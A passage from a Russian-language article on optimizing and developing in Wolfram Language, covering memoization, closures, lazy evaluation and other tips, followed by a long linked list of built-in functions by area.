Простейший принцип работы выглядит так: вместо конструкции f[x\_]:=functionBody используется f[x\_]:=f[x]=functionBody — при этом функция не просто вычисляет значение при заданном значении аргумента, но и запоминает его. Поэтому вычисления требуются 1 раз, после этого их можно использовать и, если нужно, выгрузить на жесткий диск с помощью **[`Save`](http://reference.wolfram.com/language/ref/Save.html)** или **[`DumpSave`](http://reference.wolfram.com/language/ref/DumpSave.html)**.
```
ClearAll[f1, f2];
f1[x_]:=(Pause[0.1];
x^2);
f2[x_]:=f2[x]=(Pause[0.1];
x^2);
compareTiming[{f1/@{1, 1, 1, 1, 1}, f2/@{1, 1, 1, 1, 1}}]
```
### 8.2. Замыкания (closures)
Wolfram Language позволяет реализовать более сложные версии мемоизации, где вы можете определить функции (замыкания) непосредственно во время их выполнения, которые будут использовать некоторые предварительно вычисленные части в своих определениях и, следовательно, будут быстрее.
```
ClearAll[f1, f2]
```
```
f1[x_]:=(y/.Solve[y^2+x y+x==0, y]);
```
```
Module[{solution=FullSimplify@Solve[y^2+x y+x==0, y]},
f2[xValue_]:=(y/.solution)/.x->xValue];
```
```
compareTiming[{Table[f1[x], {x, 0, 100}], Table[f2[x], {x, 0, 100}]}]
```
### 8.3. Ленивые вычисления
Ленивые или отсроченные вычисления реализуются в Wolfram Language через конструкции := (**[`SetDelayed`](http://reference.wolfram.com/language/ref/SetDelayed.html)**), а для правил замены через :> (**[`RuleDelayed`](http://reference.wolfram.com/language/ref/RuleDelayed.html)**). Они являются «естественными» для языка и позволяют вызывать функции, только когда они нужны и не вычислять их заранее, в отличие от заданий с помощью = (**[`Set`](http://reference.wolfram.com/language/ref/Set.html)**) и -> (**[`Rule`](http://reference.wolfram.com/language/ref/Rule.html)**). Однако, важно понимать разницу и применять каждый тип верно.
```
ClearAll[f1, f2]
```
```
f1[x_]:=(y/.FullSimplify[Solve[y^2+x y+x==0, y]]);
```
```
f2[x_]=(y/.FullSimplify[Solve[y^2+x y+x==0, y]]);
```
```
compareTiming[{Table[f1[x], {x, 0, 100}], Table[f2[x], {x, 0, 100}]}]
```
9. Прочие замечания
-------------------
### 9.1. Используйте сцепку функций Reap + Sow для сбора данных в процессе вычислений
Reap и Sow обеспечивают эффективный способ сбора промежуточных результатов, причем их можно «помечать» тэгами, для сбора необходимых результатов. Эти команды также хорошо сочетаются с функциональным программированием.
### 9.2. Все есть символьная констукция
В Wolfram Language все имеет символьное представление, даже картинки, код и документы Mathematica. Это дает потрясающие возможности для метапрограммирования и автоматизации самых разных задач. Но об этом всегда важно помнить. Полную форму выражения можно посмотреть с помощью конструкции **[`FullForm`](http://reference.wolfram.com/language/ref/FullForm.html)**.
```
FullForm[{{1, 2}, {3, {4}}, {{5}}}]
```
```
FullForm[Hold[x5+y2+1/z+4/2]]
```
### 9.3. Дуализм позиции и элемента
Часто вы можете написать более быстрые функции для работы с позициями элементов, а не с самими элементами, поскольку позиции являются целыми числами (для плоских списков). Это может дать вам ускорение на порядок даже по сравнению со встроенными функциями.
### 9.4. Отключите $HistoryLength
По умолчанию Wolfram Language помнит все вычисления, сделанные в текущей сессии. Это может сильно мешать работы и контролируется параметром **[`$HistoryLength`](http://reference.wolfram.com/language/ref/%24HistoryLength.html)**.
Преимущества языка Wolfram Language в скорости разработки
----------------------------------------------------------
Мы подробно обсудили технические детали — как применяя те или иные приёмы ускорить код, или сразу писать его эффективным. Однако, есть одна важная сторона разработки на Wolfram Language, которая остается обычно незамеченной: высокая скорость разработки и прототипирования.
Дело в том, что внутри систем, таких как Wolfram Mathematica, Wolfram Cloud, Wolfram One и пр. реализована интерактивная среда разработки, которую вы можете кастомизировать под себя и делать то, что можно назвать «интерактивной книгой». Скажем эта статья изначально написана на Wolfram Language в Wolfram Mathematica, после не особенно сложный обработчик конвертирует документ, который готов полностью для публикации в моем блоге и здесь, на Хабре. Он делает все: готовит и выгружает иллюстрации на сервер, сохраняет документ в некскольких форматах, с учетом разницы платформ и пр.
Такого рода примеров можно привести очень много и все они сводятся до простой мысли: если у вас очень много разнородных задач, требующих работы в самых разных областях или вы хотите расширить свои горизонты и возможности разработки — Wolfram Language отлично подойдет для этого. Равно как он подойдет компаниям, которым необходимо быстро и качественно имплементировать у себя сложный, нагруженный специфическими вычислениями движок.
Если коротко, то можно отметить следующие ключевые возможности, благодаря которым разработка на Wolfram Language экономит массу времени на разработке:
* **Гигантское количество встроенных функций**, покрывающих очень много областей (от символьной математики (интегралов, рядов, доказательства теорем и геометрии) до географических вычислений или создания облачных сервисов). Для того, чтобы оценить этот функционал — просто [откройте документацию](https://reference.wolfram.com/language/) и поизучайте её хотя бы минут 15, вы убедитесь в этом сами.
На картинке ниже показаны области, в которых работает Wolfram Language вместе с количеством функций, которые относятся к этой области. Всего на данный момент (в версии 12.0) доступно 5436 функций из 188 областей. Под картинкой в спойлере вы можете посмотреть их перечисление по областям.
```
data=SortBy[#,-Length[#]&]&@GroupBy[Flatten[Thread/@EntityValue[WolframLanguageData[],{name,functionality areas}],1],Last,Sort[#[[;;,1]]]&];
```
```
Framed[Labeled[Style["Области применения Wolfram Language и количество функций, относящихся к ним\n",30,FontFamily->"Intro Regular"],#],Background->GrayLevel[0.95],FrameMargins->5,FrameStyle->None]&@WordCloud[KeyValueMap[{StringRiffle[StringCases[#1,RegularExpression["[A-Z][a-z]+"]]/."Symbols"->""," "]<>" ("<>ToString[Length@#2]<>")",N@Length@#2}&,data],ImageSize->{1200,800},Background->GrayLevel[0.95],WordOrientation->{{-Pi/4,0,Pi/4}},MaxItems->All,WordSpacings->3,FontFamily->"Intro Regular"]
```
```
Export[FileNameJoin[{NotebookDirectory[], "fileNames.nb"}], Notebook@Flatten@KeyValueMap[{Cell[#1<>" ("<>ToString[Length[#2]]<>")", "Title"], Cell[BoxData@ToBoxes@Row[Map[Hyperlink[#, "http://reference.wolfram.com/language/ref/"<>#<>".html"]&, #2], ", "], "Text"]}&, data]];
```
**Функции Wolfram Language по областям**
### Math Functions (279)
[AiryAi](http://reference.wolfram.com/language/ref/AiryAi.html), [AiryAiPrime](http://reference.wolfram.com/language/ref/AiryAiPrime.html), [AiryAiZero](http://reference.wolfram.com/language/ref/AiryAiZero.html), [AiryBi](http://reference.wolfram.com/language/ref/AiryBi.html), [AiryBiPrime](http://reference.wolfram.com/language/ref/AiryBiPrime.html), [AiryBiZero](http://reference.wolfram.com/language/ref/AiryBiZero.html), [AlternatingFactorial](http://reference.wolfram.com/language/ref/AlternatingFactorial.html), [AngerJ](http://reference.wolfram.com/language/ref/AngerJ.html), [AppellF1](http://reference.wolfram.com/language/ref/AppellF1.html), [ArithmeticGeometricMean](http://reference.wolfram.com/language/ref/ArithmeticGeometricMean.html), [BarnesG](http://reference.wolfram.com/language/ref/BarnesG.html), [BellB](http://reference.wolfram.com/language/ref/BellB.html), [BellY](http://reference.wolfram.com/language/ref/BellY.html), [BernoulliB](http://reference.wolfram.com/language/ref/BernoulliB.html), [BernsteinBasis](http://reference.wolfram.com/language/ref/BernsteinBasis.html), [BesselI](http://reference.wolfram.com/language/ref/BesselI.html), [BesselJ](http://reference.wolfram.com/language/ref/BesselJ.html), [BesselJZero](http://reference.wolfram.com/language/ref/BesselJZero.html), [BesselK](http://reference.wolfram.com/language/ref/BesselK.html), [BesselY](http://reference.wolfram.com/language/ref/BesselY.html), [BesselYZero](http://reference.wolfram.com/language/ref/BesselYZero.html), [Beta](http://reference.wolfram.com/language/ref/Beta.html), [BetaRegularized](http://reference.wolfram.com/language/ref/BetaRegularized.html), [BlomqvistBeta](http://reference.wolfram.com/language/ref/BlomqvistBeta.html), [BSplineBasis](http://reference.wolfram.com/language/ref/BSplineBasis.html), [CarmichaelLambda](http://reference.wolfram.com/language/ref/CarmichaelLambda.html), [CatalanNumber](http://reference.wolfram.com/language/ref/CatalanNumber.html), [ChampernowneNumber](http://reference.wolfram.com/language/ref/ChampernowneNumber.html), [ChebyshevT](http://reference.wolfram.com/language/ref/ChebyshevT.html), [ChebyshevU](http://reference.wolfram.com/language/ref/ChebyshevU.html), [ClebschGordan](http://reference.wolfram.com/language/ref/ClebschGordan.html), [Clip](http://reference.wolfram.com/language/ref/Clip.html), [CoshIntegral](http://reference.wolfram.com/language/ref/CoshIntegral.html), [CosIntegral](http://reference.wolfram.com/language/ref/CosIntegral.html), [CubeRoot](http://reference.wolfram.com/language/ref/CubeRoot.html), [Cyclotomic](http://reference.wolfram.com/language/ref/Cyclotomic.html), [DawsonF](http://reference.wolfram.com/language/ref/DawsonF.html), [DedekindEta](http://reference.wolfram.com/language/ref/DedekindEta.html), [DiracComb](http://reference.wolfram.com/language/ref/DiracComb.html), [DirichletBeta](http://reference.wolfram.com/language/ref/DirichletBeta.html), [DirichletCharacter](http://reference.wolfram.com/language/ref/DirichletCharacter.html), [DirichletEta](http://reference.wolfram.com/language/ref/DirichletEta.html), [DirichletL](http://reference.wolfram.com/language/ref/DirichletL.html), [DirichletLambda](http://reference.wolfram.com/language/ref/DirichletLambda.html), [DiscreteDelta](http://reference.wolfram.com/language/ref/DiscreteDelta.html), [DivisorSigma](http://reference.wolfram.com/language/ref/DivisorSigma.html), [EllipticE](http://reference.wolfram.com/language/ref/EllipticE.html), [EllipticExp](http://reference.wolfram.com/language/ref/EllipticExp.html), [EllipticExpPrime](http://reference.wolfram.com/language/ref/EllipticExpPrime.html), [EllipticF](http://reference.wolfram.com/language/ref/EllipticF.html), [EllipticK](http://reference.wolfram.com/language/ref/EllipticK.html), [EllipticLog](http://reference.wolfram.com/language/ref/EllipticLog.html), [EllipticNomeQ](http://reference.wolfram.com/language/ref/EllipticNomeQ.html), [EllipticPi](http://reference.wolfram.com/language/ref/EllipticPi.html), [EllipticTheta](http://reference.wolfram.com/language/ref/EllipticTheta.html), [EllipticThetaPrime](http://reference.wolfram.com/language/ref/EllipticThetaPrime.html), [Erf](http://reference.wolfram.com/language/ref/Erf.html), [Erfc](http://reference.wolfram.com/language/ref/Erfc.html), [Erfi](http://reference.wolfram.com/language/ref/Erfi.html), [EulerE](http://reference.wolfram.com/language/ref/EulerE.html), [EulerPhi](http://reference.wolfram.com/language/ref/EulerPhi.html), [ExpIntegralE](http://reference.wolfram.com/language/ref/ExpIntegralE.html), [ExpIntegralEi](http://reference.wolfram.com/language/ref/ExpIntegralEi.html), [Factorial](http://reference.wolfram.com/language/ref/Factorial.html), [Factorial2](http://reference.wolfram.com/language/ref/Factorial2.html), [FactorialPower](http://reference.wolfram.com/language/ref/FactorialPower.html), [Fibonacci](http://reference.wolfram.com/language/ref/Fibonacci.html), [Fibonorial](http://reference.wolfram.com/language/ref/Fibonorial.html), [FractionalPart](http://reference.wolfram.com/language/ref/FractionalPart.html), [FresnelC](http://reference.wolfram.com/language/ref/FresnelC.html), [FresnelF](http://reference.wolfram.com/language/ref/FresnelF.html), [FresnelG](http://reference.wolfram.com/language/ref/FresnelG.html), [FresnelS](http://reference.wolfram.com/language/ref/FresnelS.html), [Gamma](http://reference.wolfram.com/language/ref/Gamma.html), [GammaRegularized](http://reference.wolfram.com/language/ref/GammaRegularized.html), [GegenbauerC](http://reference.wolfram.com/language/ref/GegenbauerC.html), [GoodmanKruskalGamma](http://reference.wolfram.com/language/ref/GoodmanKruskalGamma.html), [Gudermannian](http://reference.wolfram.com/language/ref/Gudermannian.html), [HankelH1](http://reference.wolfram.com/language/ref/HankelH1.html), [HankelH2](http://reference.wolfram.com/language/ref/HankelH2.html), [HarmonicNumber](http://reference.wolfram.com/language/ref/HarmonicNumber.html), [Haversine](http://reference.wolfram.com/language/ref/Haversine.html), [HeavisideLambda](http://reference.wolfram.com/language/ref/HeavisideLambda.html), [HeavisidePi](http://reference.wolfram.com/language/ref/HeavisidePi.html), [HeavisideTheta](http://reference.wolfram.com/language/ref/HeavisideTheta.html), [HermiteH](http://reference.wolfram.com/language/ref/HermiteH.html), [HurwitzLerchPhi](http://reference.wolfram.com/language/ref/HurwitzLerchPhi.html), [HurwitzZeta](http://reference.wolfram.com/language/ref/HurwitzZeta.html), [Hyperfactorial](http://reference.wolfram.com/language/ref/Hyperfactorial.html), [Hypergeometric0F1](http://reference.wolfram.com/language/ref/Hypergeometric0F1.html), [Hypergeometric0F1Regularized](http://reference.wolfram.com/language/ref/Hypergeometric0F1Regularized.html), [Hypergeometric1F1](http://reference.wolfram.com/language/ref/Hypergeometric1F1.html), [Hypergeometric1F1Regularized](http://reference.wolfram.com/language/ref/Hypergeometric1F1Regularized.html), [Hypergeometric2F1](http://reference.wolfram.com/language/ref/Hypergeometric2F1.html), [Hypergeometric2F1Regularized](http://reference.wolfram.com/language/ref/Hypergeometric2F1Regularized.html), [HypergeometricPFQ](http://reference.wolfram.com/language/ref/HypergeometricPFQ.html), [HypergeometricPFQRegularized](http://reference.wolfram.com/language/ref/HypergeometricPFQRegularized.html), [HypergeometricU](http://reference.wolfram.com/language/ref/HypergeometricU.html), [InverseBetaRegularized](http://reference.wolfram.com/language/ref/InverseBetaRegularized.html), [InverseEllipticNomeQ](http://reference.wolfram.com/language/ref/InverseEllipticNomeQ.html), [InverseErf](http://reference.wolfram.com/language/ref/InverseErf.html), [InverseErfc](http://reference.wolfram.com/language/ref/InverseErfc.html), [InverseGammaRegularized](http://reference.wolfram.com/language/ref/InverseGammaRegularized.html), [InverseGudermannian](http://reference.wolfram.com/language/ref/InverseGudermannian.html), [InverseHaversine](http://reference.wolfram.com/language/ref/InverseHaversine.html), [InverseJacobiCD](http://reference.wolfram.com/language/ref/InverseJacobiCD.html), [InverseJacobiCN](http://reference.wolfram.com/language/ref/InverseJacobiCN.html), [InverseJacobiCS](http://reference.wolfram.com/language/ref/InverseJacobiCS.html), [InverseJacobiDC](http://reference.wolfram.com/language/ref/InverseJacobiDC.html), [InverseJacobiDN](http://reference.wolfram.com/language/ref/InverseJacobiDN.html), [InverseJacobiDS](http://reference.wolfram.com/language/ref/InverseJacobiDS.html), [InverseJacobiNC](http://reference.wolfram.com/language/ref/InverseJacobiNC.html), [InverseJacobiND](http://reference.wolfram.com/language/ref/InverseJacobiND.html), [InverseJacobiNS](http://reference.wolfram.com/language/ref/InverseJacobiNS.html), [InverseJacobiSC](http://reference.wolfram.com/language/ref/InverseJacobiSC.html), [InverseJacobiSD](http://reference.wolfram.com/language/ref/InverseJacobiSD.html), [InverseJacobiSN](http://reference.wolfram.com/language/ref/InverseJacobiSN.html), [InverseWeierstrassP](http://reference.wolfram.com/language/ref/InverseWeierstrassP.html), [JacobiAmplitude](http://reference.wolfram.com/language/ref/JacobiAmplitude.html), [JacobiCD](http://reference.wolfram.com/language/ref/JacobiCD.html), [JacobiCN](http://reference.wolfram.com/language/ref/JacobiCN.html), [JacobiCS](http://reference.wolfram.com/language/ref/JacobiCS.html), [JacobiDC](http://reference.wolfram.com/language/ref/JacobiDC.html), [JacobiDN](http://reference.wolfram.com/language/ref/JacobiDN.html), [JacobiDS](http://reference.wolfram.com/language/ref/JacobiDS.html), [JacobiNC](http://reference.wolfram.com/language/ref/JacobiNC.html), [JacobiND](http://reference.wolfram.com/language/ref/JacobiND.html), [JacobiNS](http://reference.wolfram.com/language/ref/JacobiNS.html), [JacobiP](http://reference.wolfram.com/language/ref/JacobiP.html), [JacobiSC](http://reference.wolfram.com/language/ref/JacobiSC.html), [JacobiSD](http://reference.wolfram.com/language/ref/JacobiSD.html), [JacobiSN](http://reference.wolfram.com/language/ref/JacobiSN.html), [JacobiSymbol](http://reference.wolfram.com/language/ref/JacobiSymbol.html), [JacobiZeta](http://reference.wolfram.com/language/ref/JacobiZeta.html), [KelvinBei](http://reference.wolfram.com/language/ref/KelvinBei.html), [KelvinBer](http://reference.wolfram.com/language/ref/KelvinBer.html), [KelvinKei](http://reference.wolfram.com/language/ref/KelvinKei.html), [KelvinKer](http://reference.wolfram.com/language/ref/KelvinKer.html), [KendallTau](http://reference.wolfram.com/language/ref/KendallTau.html), [KleinInvariantJ](http://reference.wolfram.com/language/ref/KleinInvariantJ.html), [KroneckerDelta](http://reference.wolfram.com/language/ref/KroneckerDelta.html), [KroneckerSymbol](http://reference.wolfram.com/language/ref/KroneckerSymbol.html), [LaguerreL](http://reference.wolfram.com/language/ref/LaguerreL.html), [LegendreP](http://reference.wolfram.com/language/ref/LegendreP.html), [LegendreQ](http://reference.wolfram.com/language/ref/LegendreQ.html), [LerchPhi](http://reference.wolfram.com/language/ref/LerchPhi.html), [LiouvilleLambda](http://reference.wolfram.com/language/ref/LiouvilleLambda.html), [Log10](http://reference.wolfram.com/language/ref/Log10.html), [Log2](http://reference.wolfram.com/language/ref/Log2.html), [LogBarnesG](http://reference.wolfram.com/language/ref/LogBarnesG.html), [LogGamma](http://reference.wolfram.com/language/ref/LogGamma.html), [LogIntegral](http://reference.wolfram.com/language/ref/LogIntegral.html), [LogisticSigmoid](http://reference.wolfram.com/language/ref/LogisticSigmoid.html), [LucasL](http://reference.wolfram.com/language/ref/LucasL.html), [MangoldtLambda](http://reference.wolfram.com/language/ref/MangoldtLambda.html), [MarcumQ](http://reference.wolfram.com/language/ref/MarcumQ.html), [MathieuC](http://reference.wolfram.com/language/ref/MathieuC.html), [MathieuCharacteristicA](http://reference.wolfram.com/language/ref/MathieuCharacteristicA.html), [MathieuCharacteristicB](http://reference.wolfram.com/language/ref/MathieuCharacteristicB.html), [MathieuCharacteristicExponent](http://reference.wolfram.com/language/ref/MathieuCharacteristicExponent.html), [MathieuCPrime](http://reference.wolfram.com/language/ref/MathieuCPrime.html), [MathieuS](http://reference.wolfram.com/language/ref/MathieuS.html), [MathieuSPrime](http://reference.wolfram.com/language/ref/MathieuSPrime.html), [MeijerG](http://reference.wolfram.com/language/ref/MeijerG.html), [MinkowskiQuestionMark](http://reference.wolfram.com/language/ref/MinkowskiQuestionMark.html), [Minus](http://reference.wolfram.com/language/ref/Minus.html), [MittagLefflerE](http://reference.wolfram.com/language/ref/MittagLefflerE.html), [ModularLambda](http://reference.wolfram.com/language/ref/ModularLambda.html), [MoebiusMu](http://reference.wolfram.com/language/ref/MoebiusMu.html), [Multinomial](http://reference.wolfram.com/language/ref/Multinomial.html), [MultiplicativeOrder](http://reference.wolfram.com/language/ref/MultiplicativeOrder.html), [NevilleThetaC](http://reference.wolfram.com/language/ref/NevilleThetaC.html), [NevilleThetaD](http://reference.wolfram.com/language/ref/NevilleThetaD.html), [NevilleThetaN](http://reference.wolfram.com/language/ref/NevilleThetaN.html), [NevilleThetaS](http://reference.wolfram.com/language/ref/NevilleThetaS.html), [NextPrime](http://reference.wolfram.com/language/ref/NextPrime.html), [NorlundB](http://reference.wolfram.com/language/ref/NorlundB.html), [OwenT](http://reference.wolfram.com/language/ref/OwenT.html), [ParabolicCylinderD](http://reference.wolfram.com/language/ref/ParabolicCylinderD.html), [PartitionsP](http://reference.wolfram.com/language/ref/PartitionsP.html), [PartitionsQ](http://reference.wolfram.com/language/ref/PartitionsQ.html), [Pochhammer](http://reference.wolfram.com/language/ref/Pochhammer.html), [PolyGamma](http://reference.wolfram.com/language/ref/PolyGamma.html), [PolygonalNumber](http://reference.wolfram.com/language/ref/PolygonalNumber.html), [PolyLog](http://reference.wolfram.com/language/ref/PolyLog.html), [PrimeNu](http://reference.wolfram.com/language/ref/PrimeNu.html), [PrimeOmega](http://reference.wolfram.com/language/ref/PrimeOmega.html), [PrimePi](http://reference.wolfram.com/language/ref/PrimePi.html), [PrimeZetaP](http://reference.wolfram.com/language/ref/PrimeZetaP.html), [PrimitiveRoot](http://reference.wolfram.com/language/ref/PrimitiveRoot.html), [ProductLog](http://reference.wolfram.com/language/ref/ProductLog.html), [QBinomial](http://reference.wolfram.com/language/ref/QBinomial.html), [QFactorial](http://reference.wolfram.com/language/ref/QFactorial.html), [QGamma](http://reference.wolfram.com/language/ref/QGamma.html), [QHypergeometricPFQ](http://reference.wolfram.com/language/ref/QHypergeometricPFQ.html), [QPochhammer](http://reference.wolfram.com/language/ref/QPochhammer.html), [QPolyGamma](http://reference.wolfram.com/language/ref/QPolyGamma.html), [Quotient](http://reference.wolfram.com/language/ref/Quotient.html), [RamanujanTau](http://reference.wolfram.com/language/ref/RamanujanTau.html), [RamanujanTauL](http://reference.wolfram.com/language/ref/RamanujanTauL.html), [RamanujanTauTheta](http://reference.wolfram.com/language/ref/RamanujanTauTheta.html), [RamanujanTauZ](http://reference.wolfram.com/language/ref/RamanujanTauZ.html), [Ramp](http://reference.wolfram.com/language/ref/Ramp.html), [RealAbs](http://reference.wolfram.com/language/ref/RealAbs.html), [RealSign](http://reference.wolfram.com/language/ref/RealSign.html), [RecurrenceTable](http://reference.wolfram.com/language/ref/RecurrenceTable.html), [Rescale](http://reference.wolfram.com/language/ref/Rescale.html), [RiemannR](http://reference.wolfram.com/language/ref/RiemannR.html), [RiemannSiegelTheta](http://reference.wolfram.com/language/ref/RiemannSiegelTheta.html), [RiemannSiegelZ](http://reference.wolfram.com/language/ref/RiemannSiegelZ.html), [RiemannXi](http://reference.wolfram.com/language/ref/RiemannXi.html), [SawtoothWave](http://reference.wolfram.com/language/ref/SawtoothWave.html), [ScorerGi](http://reference.wolfram.com/language/ref/ScorerGi.html), [ScorerGiPrime](http://reference.wolfram.com/language/ref/ScorerGiPrime.html), [ScorerHi](http://reference.wolfram.com/language/ref/ScorerHi.html), [ScorerHiPrime](http://reference.wolfram.com/language/ref/ScorerHiPrime.html), [SiegelTheta](http://reference.wolfram.com/language/ref/SiegelTheta.html), [Sinc](http://reference.wolfram.com/language/ref/Sinc.html), [SinhIntegral](http://reference.wolfram.com/language/ref/SinhIntegral.html), [SinIntegral](http://reference.wolfram.com/language/ref/SinIntegral.html), [SixJSymbol](http://reference.wolfram.com/language/ref/SixJSymbol.html), [SpearmanRho](http://reference.wolfram.com/language/ref/SpearmanRho.html), [SphericalBesselJ](http://reference.wolfram.com/language/ref/SphericalBesselJ.html), [SphericalBesselY](http://reference.wolfram.com/language/ref/SphericalBesselY.html), [SphericalHankelH1](http://reference.wolfram.com/language/ref/SphericalHankelH1.html), [SphericalHankelH2](http://reference.wolfram.com/language/ref/SphericalHankelH2.html), [SphericalHarmonicY](http://reference.wolfram.com/language/ref/SphericalHarmonicY.html), [SpheroidalEigenvalue](http://reference.wolfram.com/language/ref/SpheroidalEigenvalue.html), [SpheroidalJoiningFactor](http://reference.wolfram.com/language/ref/SpheroidalJoiningFactor.html), [SpheroidalPS](http://reference.wolfram.com/language/ref/SpheroidalPS.html), [SpheroidalPSPrime](http://reference.wolfram.com/language/ref/SpheroidalPSPrime.html), [SpheroidalQS](http://reference.wolfram.com/language/ref/SpheroidalQS.html), [SpheroidalQSPrime](http://reference.wolfram.com/language/ref/SpheroidalQSPrime.html), [SpheroidalRadialFactor](http://reference.wolfram.com/language/ref/SpheroidalRadialFactor.html), [SpheroidalS1](http://reference.wolfram.com/language/ref/SpheroidalS1.html), [SpheroidalS1Prime](http://reference.wolfram.com/language/ref/SpheroidalS1Prime.html), [SpheroidalS2](http://reference.wolfram.com/language/ref/SpheroidalS2.html), [SpheroidalS2Prime](http://reference.wolfram.com/language/ref/SpheroidalS2Prime.html), [Sqrt](http://reference.wolfram.com/language/ref/Sqrt.html), [SquareWave](http://reference.wolfram.com/language/ref/SquareWave.html), [StieltjesGamma](http://reference.wolfram.com/language/ref/StieltjesGamma.html), [StirlingS1](http://reference.wolfram.com/language/ref/StirlingS1.html), [StirlingS2](http://reference.wolfram.com/language/ref/StirlingS2.html), [StruveH](http://reference.wolfram.com/language/ref/StruveH.html), [StruveL](http://reference.wolfram.com/language/ref/StruveL.html), [Subfactorial](http://reference.wolfram.com/language/ref/Subfactorial.html), [Subtract](http://reference.wolfram.com/language/ref/Subtract.html), [Surd](http://reference.wolfram.com/language/ref/Surd.html), [ThreeJSymbol](http://reference.wolfram.com/language/ref/ThreeJSymbol.html), [TriangleWave](http://reference.wolfram.com/language/ref/TriangleWave.html), [UnitBox](http://reference.wolfram.com/language/ref/UnitBox.html), [UnitStep](http://reference.wolfram.com/language/ref/UnitStep.html), [UnitTriangle](http://reference.wolfram.com/language/ref/UnitTriangle.html), [WeberE](http://reference.wolfram.com/language/ref/WeberE.html), [WeierstrassE1](http://reference.wolfram.com/language/ref/WeierstrassE1.html), [WeierstrassE2](http://reference.wolfram.com/language/ref/WeierstrassE2.html), [WeierstrassE3](http://reference.wolfram.com/language/ref/WeierstrassE3.html), [WeierstrassEta1](http://reference.wolfram.com/language/ref/WeierstrassEta1.html), [WeierstrassEta2](http://reference.wolfram.com/language/ref/WeierstrassEta2.html), [WeierstrassEta3](http://reference.wolfram.com/language/ref/WeierstrassEta3.html), [WeierstrassHalfPeriods](http://reference.wolfram.com/language/ref/WeierstrassHalfPeriods.html), [WeierstrassHalfPeriodW1](http://reference.wolfram.com/language/ref/WeierstrassHalfPeriodW1.html), [WeierstrassHalfPeriodW2](http://reference.wolfram.com/language/ref/WeierstrassHalfPeriodW2.html), [WeierstrassHalfPeriodW3](http://reference.wolfram.com/language/ref/WeierstrassHalfPeriodW3.html), [WeierstrassInvariantG2](http://reference.wolfram.com/language/ref/WeierstrassInvariantG2.html), [WeierstrassInvariantG3](http://reference.wolfram.com/language/ref/WeierstrassInvariantG3.html), [WeierstrassInvariants](http://reference.wolfram.com/language/ref/WeierstrassInvariants.html), [WeierstrassP](http://reference.wolfram.com/language/ref/WeierstrassP.html), [WeierstrassPPrime](http://reference.wolfram.com/language/ref/WeierstrassPPrime.html), [WeierstrassSigma](http://reference.wolfram.com/language/ref/WeierstrassSigma.html), [WeierstrassZeta](http://reference.wolfram.com/language/ref/WeierstrassZeta.html), [WhittakerM](http://reference.wolfram.com/language/ref/WhittakerM.html), [WhittakerW](http://reference.wolfram.com/language/ref/WhittakerW.html), [WignerD](http://reference.wolfram.com/language/ref/WignerD.html), [WilksW](http://reference.wolfram.com/language/ref/WilksW.html), [ZernikeR](http://reference.wolfram.com/language/ref/ZernikeR.html), [Zeta](http://reference.wolfram.com/language/ref/Zeta.html), [ZetaZero](http://reference.wolfram.com/language/ref/ZetaZero.html), [$MaxPiecewiseCases](http://reference.wolfram.com/language/ref/%24MaxPiecewiseCases.html)
### Basic (243)
[Abs](http://reference.wolfram.com/language/ref/Abs.html), [All](http://reference.wolfram.com/language/ref/All.html), [AllowedDimensions](http://reference.wolfram.com/language/ref/AllowedDimensions.html), [And](http://reference.wolfram.com/language/ref/And.html), [Append](http://reference.wolfram.com/language/ref/Append.html), [Apply](http://reference.wolfram.com/language/ref/Apply.html), [ArcCos](http://reference.wolfram.com/language/ref/ArcCos.html), [ArcCosh](http://reference.wolfram.com/language/ref/ArcCosh.html), [ArcCot](http://reference.wolfram.com/language/ref/ArcCot.html), [ArcCoth](http://reference.wolfram.com/language/ref/ArcCoth.html), [ArcCsc](http://reference.wolfram.com/language/ref/ArcCsc.html), [ArcCsch](http://reference.wolfram.com/language/ref/ArcCsch.html), [ArcSec](http://reference.wolfram.com/language/ref/ArcSec.html), [ArcSech](http://reference.wolfram.com/language/ref/ArcSech.html), [ArcSin](http://reference.wolfram.com/language/ref/ArcSin.html), [ArcSinh](http://reference.wolfram.com/language/ref/ArcSinh.html), [ArcTan](http://reference.wolfram.com/language/ref/ArcTan.html), [ArcTanh](http://reference.wolfram.com/language/ref/ArcTanh.html), [Arg](http://reference.wolfram.com/language/ref/Arg.html), [Array](http://reference.wolfram.com/language/ref/Array.html), [ArrayDepth](http://reference.wolfram.com/language/ref/ArrayDepth.html), [ArrayQ](http://reference.wolfram.com/language/ref/ArrayQ.html), [AtomQ](http://reference.wolfram.com/language/ref/AtomQ.html), [Attributes](http://reference.wolfram.com/language/ref/Attributes.html), [Automatic](http://reference.wolfram.com/language/ref/Automatic.html), [Binomial](http://reference.wolfram.com/language/ref/Binomial.html), [Blank](http://reference.wolfram.com/language/ref/Blank.html), [BlankNullSequence](http://reference.wolfram.com/language/ref/BlankNullSequence.html), [BlankSequence](http://reference.wolfram.com/language/ref/BlankSequence.html), [Block](http://reference.wolfram.com/language/ref/Block.html), [Cancel](http://reference.wolfram.com/language/ref/Cancel.html), [Cases](http://reference.wolfram.com/language/ref/Cases.html), [Ceiling](http://reference.wolfram.com/language/ref/Ceiling.html), [CharacterRange](http://reference.wolfram.com/language/ref/CharacterRange.html), [Characters](http://reference.wolfram.com/language/ref/Characters.html), [Check](http://reference.wolfram.com/language/ref/Check.html), [Clear](http://reference.wolfram.com/language/ref/Clear.html), [ClearAll](http://reference.wolfram.com/language/ref/ClearAll.html), [ClearAttributes](http://reference.wolfram.com/language/ref/ClearAttributes.html), [Coefficient](http://reference.wolfram.com/language/ref/Coefficient.html), [Collect](http://reference.wolfram.com/language/ref/Collect.html), [Column](http://reference.wolfram.com/language/ref/Column.html), [Complement](http://reference.wolfram.com/language/ref/Complement.html), [Complex](http://reference.wolfram.com/language/ref/Complex.html), [Composition](http://reference.wolfram.com/language/ref/Composition.html), [CompoundExpression](http://reference.wolfram.com/language/ref/CompoundExpression.html), [Condition](http://reference.wolfram.com/language/ref/Condition.html), [Conjugate](http://reference.wolfram.com/language/ref/Conjugate.html), [Contexts](http://reference.wolfram.com/language/ref/Contexts.html), [Cos](http://reference.wolfram.com/language/ref/Cos.html), [Cosh](http://reference.wolfram.com/language/ref/Cosh.html), [Cot](http://reference.wolfram.com/language/ref/Cot.html), [Coth](http://reference.wolfram.com/language/ref/Coth.html), [Cross](http://reference.wolfram.com/language/ref/Cross.html), [Csc](http://reference.wolfram.com/language/ref/Csc.html), [Csch](http://reference.wolfram.com/language/ref/Csch.html), [DateList](http://reference.wolfram.com/language/ref/DateList.html), [Default](http://reference.wolfram.com/language/ref/Default.html), [Definition](http://reference.wolfram.com/language/ref/Definition.html), [Degree](http://reference.wolfram.com/language/ref/Degree.html), 